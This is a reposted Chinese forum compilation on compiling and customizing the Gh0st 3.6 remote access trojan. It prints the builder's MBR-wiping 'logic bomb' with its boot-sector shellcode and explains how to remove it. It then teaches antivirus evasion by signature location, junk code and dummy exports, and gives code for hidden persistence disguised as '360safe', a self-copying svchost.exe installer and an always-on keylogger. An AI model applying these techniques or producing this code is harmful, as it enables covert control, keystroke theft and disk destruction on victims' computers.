Gh0st3.6编译和源码免杀问题
生活随笔
收集整理的這篇文章主要介紹了
Gh0st3.6编译和源码免杀问题
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
詳解gh0st源碼中去驗證(去除邏輯炸彈)
去驗證: BuildView.cpp
// 以下是原程序效驗代碼 全部注釋掉 即可
// char strVer[10];
/* char strTitle[10];
strVer[0] = ’C’;
strVer[1] = ’.’;
strVer[2] = ’R’;
strVer[3] = ’u’;
strVer[4] = ’f’;
strVer[5] = ’u’;
strVer[6] = ’s’;
strVer[7] = ’ ’;
strVer[8] = ’S’;
strVer[9] = ’\0’;
strTitle[0] = ’G’;
strTitle[1] = ’h’;
strTitle[2] = ’0’;
strTitle[3] = ’s’;
strTitle[4] = ’t’;
strTitle[5] = ’ ’;
strTitle[6] = ’R’;
strTitle[7] = ’A’;
strTitle[8] = ’T’;
strTitle[9] = ’\0’;
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
if (str.Find(strVer) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
if (str.Find(strTitle) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
*/
// 以上代碼全部注釋 即可去除效驗
gh0st.cpp 刪除以下代碼:
/
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新構造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 寫入病毒內容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
源碼中自己去掉
==============================================
另外提供一小部分修改的地方,方便制作個人版,不是很全
修改服務信息:BuildView.cpp
修改標題:MainFrm.cpp 搜索 cs.lpszName
I am virus! Fuck you :-)
!!!版權所有 篡改必毒!!!
Please wait - initial screen loading
請稍候,初始屏幕加載...Kyle個人版
============
Connections
連 接 控 制
Connections User
連接被控遠程電腦
Settings
配置服務
Control Settings
配置-服務端-程序
Build
生 成
Build Server
生成--服務端
免殺加工
gh0st3.6有源碼,所以我們可以在源碼的基礎上做木馬的免殺,個人感覺卡巴的免殺最好做。
先拋一磚頭,有興趣的朋友可以接著做,也可以和本人交流。
編譯環境一定要配置好:DDK+SDK+VC6,DDK用來編譯sys文件的,SDK+VC6是用來編譯工程的,具體為什么以及如何配置可以查看網上有關資料,也可以查看DDK和SDK幫助。
首次編譯后,先做卡巴的免殺。卡巴殺sys文件和dll,當然也就殺包裝它們的install.exe,最后卡巴還殺生成的sever,我這里說殺生成好的server不是和前面的特征碼重疊的地方,而是殺配置信息。
sys免殺
sys重新編譯后,增加了輸入表的函數(原因未知,有興趣的朋友可以比較1下) ,順利通過卡巴、金山、小紅傘等殺軟。
svchost.dll免殺
1、 MultiByteToWideChar 這個函數的調用上,卡巴就怕花,可以在這個函數前面隨便加幾句無效語句就可以。
2、 字符串調用"gh0st update" ,這個是用于更新用的 ,如果不要在線更新,直接把這個語句所在代碼塊刪除;嘿嘿,其實搜索工程替換這個字符串為其他的字符串就可以了^_^,這個方法同樣可以過金山,誰讓我們有源碼呢。
server免殺
卡巴定位在最后的配置信息,采取跳轉顯然是不行的,采用加花的辦法,在寫入AAAAAA配置信息之前,隨便寫些東西,就可以做server免殺。
修改生成的dll
在源程序里查找%s\\%sEx 或者\%sEx字符串,這個位置就是生成 6to4的地方了,可以改成你想生成的任何的東西。
純粹想交流,大家可以在這里跟貼,一起討論。
做了這幾步..還有瑞星還查殺DLL文件,把DLL文件的大少優化下,加幾個輸出表..
金山殺EXE文件,把入口點改下就過了 麥咖啡還殺DLL文件的ServiceMain.把ServiceMain移動遠點就過了
小紅傘 NOD還殺輸入表....這2個比較麻煩
我測試了9個殺軟 金山,瑞星,卡巴,江民,小紅傘,NOD,麥咖啡,諾頓,AVG.
還有其他殺軟.基本上過了.沒測試.
簡單補充
添加垃圾代碼的小方法:
垃圾代碼要移動特征碼所在的位置,不要跑到堆棧中了,這樣的代碼沒有用。
可以采取添加for循環,做計數,簡單統計,采用局部變量,不改變后面的邏輯為宜。
添加輸出表的方法:
有殺輸出表的,可以在生成的svchost.dll上添加空函數 ,但是每次編譯都要修改1次資源 ,其實我們在源碼上添加如下語句:
extern "C" __declspec(dllexport) bool JustTempFun();//聲明
……
extern "C" __declspec(dllexport) bool JustTempFun() //實現
{
return false;
}
編譯后,輸出表就被改變了,有的殺軟就可做到代碼免殺。
把這個代碼加到WinMain上面,然后在WinMain里寫入 ActiveRun(); 就可以調用了
這樣才能成功
轉載請注明出自暗組技術論壇 http://forum.darkst.com/,本貼地址:http://forum.darkst.com/viewthread.php?tid=38537
void ActiveRun()//ActiveX自啟動的函數
{
char WinPath[MAX_PATH];
GetWindowsDirectory(WinPath,sizeof(WinPath));
strcat(WinPath,"\\systom32\\svchost.exe");
HKEY hKey;
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //刪除用戶里的ACTIVE,免得不知執行
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
RegCloseKey(hKey);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ActiveRun();
int nRetCode = 0;
//Begin=======首次運行,拷貝安裝========
char DstFilePath[256];
char SrcFilePath[256];
memset(DstFilePath, 0, 256);
memset(SrcFilePath, 0, 256);
::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
strcat(DstFilePath,"\\systom32\\");
CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隱藏路徑
strcat(DstFilePath,"svchost.exe");
GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
if (_stricmp(SrcFilePath,DstFilePath) != 0)
{
DeleteFile(DstFilePath);
if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
return -1;
SetFileAttrib(DstFilePath);//隱藏文件
WinExec(DstFilePath,SW_HIDE);
uninstall();//自刪除
ExitProcess(0);
}
源碼出來這么久了.在網上搜一下,幾乎見不到可以用的動畫或者教程,
估計大家都想留著技術換錢吧,這里說幾種方法、方便大家舉一反三
源碼的解鎖:這里不多說了,改版權之前最好看看,
不然硬盤出事了別找別人(已經有很多例子了)
SYS文件的免殺:一樣有教程,大體思路是用advanced find and replace替換SYS源碼中的RESSDT為其他任意等長度字符串達到免殺效果,自己看看動畫就懂的
這里主要說說DLL文件的源碼免殺過程(免殺好DLL之后,生成的EXE也沒幾個特征碼了,隨便改改就過了)
首先,要了解編譯中MAP的利用:
第一步設置VC編譯環境生成Map文件。
在 VC 中,點擊菜單“Project -> Settings”選項頁(或按下 Alt+F7),選擇 C/C++ 選項卡,并在最下面的 Project Options 里面輸入:/Zd ,然后要點擊 Link 選項卡,選中“Generate mapfile”復選框,并在最下面的 Project Options 里面輸入:/mapinflines,表示生成 MAP 文件時,加入行信息。
設置完成。
第二步編譯VC工程,設置活動工程編譯即可,這個不用說明。這個步驟完成后,在release(或debug)目錄,多了一個.map文件(比如svchost.map)。
第三步打開map文件(用UE或文本編輯器打開都行),形式如下:
用MYCCL定位DLL的瑞星主要特征碼為00014ba8和00014bbb(還有4個特征碼在源碼免殺了這兩個之后都過了),定在了DLL的輸出表的SERVICEMAIN和RESETSSDT上面.
我們在生成的.MAP文件中找跟這兩個地址接近的項,如圖:
00014BA8和00014BBB正好是在圖中00014AC0和00014BE0之間,對應的是源碼里的一個IOCPSERVER.OBJ,這樣我們就通過MAP文件把特征碼和源碼聯系起來了,通過修改源碼來
達到免殺特征碼的目的
打開GH0ST源碼,點擊CLASSES VIEW>>>>GH0ST CLASSES>>>>>CIOCPSERVER,來到如圖位置:
COICPSERVER好像是一個跟WINSOCK有關的東西,這里匯編高手可以直接通過修改代碼達到免殺,而我則加了一個無意義代碼達到相同的效果(水平問題),如圖:
這樣,這處源碼免殺就OK了.不過要想達到到更好的免殺效果,我們還需要手動在輸出表里面添加幾個空函數,點擊FILE VIEW>>>>GHOST FILES>>>>SVCHOST.CPP來到如圖位置
看到SERVICEMAIN和RESETSSDT沒有,這里,我手動添加了一個新函數,函數名任意,我取了個"FUCKRUIXING".添加完后如圖:
這樣子空函數還沒完全添加進去,我們還需要在后面加入一段說明這個函數的代碼,如圖:
這樣,空函數添加完成了,保存一下.因為金山還殺GH0ST的GH0ST UPDATE字符串,我們利用advanced find and replace替換一下就OK了,道理同SYS的免殺
最后按編譯出來丟到虛擬機里測試下,DLL和SYS過了卡巴,瑞星,金山和NOD32(虛擬機里只裝了這幾個常用的殺軟),可以上線,功能沒問題
直接編譯gh0st控制端源碼會提示Cj60的一個庫里面函數名找不到 估計是原來的庫在VC60下編譯 不匹配的問題
找到CJ60文件夾 打開 編譯Cj60StaticLib庫
1.報錯 找不到文件<..\src\afximpl.h>
貌似從VC7開始這個頭文件放在\src\mfc下 找到 stdafx.h 改之
#include <..\src\mfc\afximpl.h>
2.error C2440: “static_cast”: 無法從“UINT (__thiscall CCJControlBar::* )(CPoint)”轉換為“LRESULT (__thiscall CWnd::* )(CPoint)”
類型定義的問題 把相關參數的函數返回值改成LRESULT
3.error C2440: “static_cast”: 無法從“BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)”轉換為“BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)”
宏展開后參數不匹配的問題 把NMPGSCROL改成NMHDR進子程序后強轉
LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) pnmhdr;
4.error C2664: “MultiByteToWideChar”: 不能將參數 5 從“USHORT *”轉換為“LPWSTR”
這個是從某一版本以后 wchar_t開始變成編譯器內置類型的問題 幾個串類型之間不能默認轉換 強轉即可
接下來編譯控制端gh0st
1.一上來提示找不到stdafx.h 我靠 打開header目錄一看 有這個文件 ok 在附加包含目錄里面加入“./” 解決了
2.error 2440 和剛才一樣的問題 MFC展開宏的問題 進去強轉指針即可
3.ok 到這里再編譯 能通過了 剛才那一堆link錯誤 由于我們用vc8重新編譯了cj60庫也解決了 但是多出來幾個link錯誤
nafxcw.lib(afxmem.obj) : error LNK2005: “void * __cdecl operator new(unsigned int)” (??2@YAPAXI@Z) 已經在 LIBCMT.lib(new.obj) 中定義
看意思大概是操作符在幾個庫里有重定義的問題 試了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 這種問題需要在附加依賴項里面指定一下鏈接的先后順序即可 先鏈接nafxcw.lib 后鏈接libcmt.lib 如果編譯調試版在庫后面加個d
好了 甩個服務端到虛擬機上去 咱們開始調試吧
參考文獻:
http://topic.csdn.net/t/20030627/23/1966751.html
operator new 鏈接重定義的問題
http://blog.csdn.net/orbit/archive/2008/11/28/3405309.aspx
從VC6到VC9移植代碼問題總結
gh0st遠控服務端直接開啟鍵盤記錄
作者:admin 日期:2009-03-08
字體大小: 小 中 大
閑時玩遠控,私下有很多站友想在gh0st服務端運行的同時開啟鍵盤記錄,苦于對代碼不熟,到處求人,還讓人給拿一把,我在這里給出實現方法 ,希望對gh0st愛好者有所幫助。
在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有這樣一段代碼:
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己給的記錄文件名
// 文件存在,就開始離線記錄開啟
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
從這段代碼可以看出,服務端啟動后,自動判讀有沒有keyboard.inf這個文件,如果有,就自動開啟離線記錄,如果沒有就默認沒有開啟鍵盤記錄。
我們在類構造的時候加上如下代碼:
char strRecordFile [MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\keyboard.inf");
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
在類初始化的時候,我們判讀有沒有鍵盤記錄文件,如果沒有,則自動創建一個新的鍵盤記錄文件,服務端就會默認開啟鍵盤記錄了,這樣就不用特意再打開服務端控制,從而避免有效信息丟失 ^_^
轉載于:https://www.cnblogs.com/94YY/archive/2011/06/17/2083459.html
總結
以上是生活随笔為你收集整理的Gh0st3.6编译和源码免杀问题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 米兔机器人自主编程_米兔积木机器人编程编
- 下一篇: git——将github仓库克隆到本地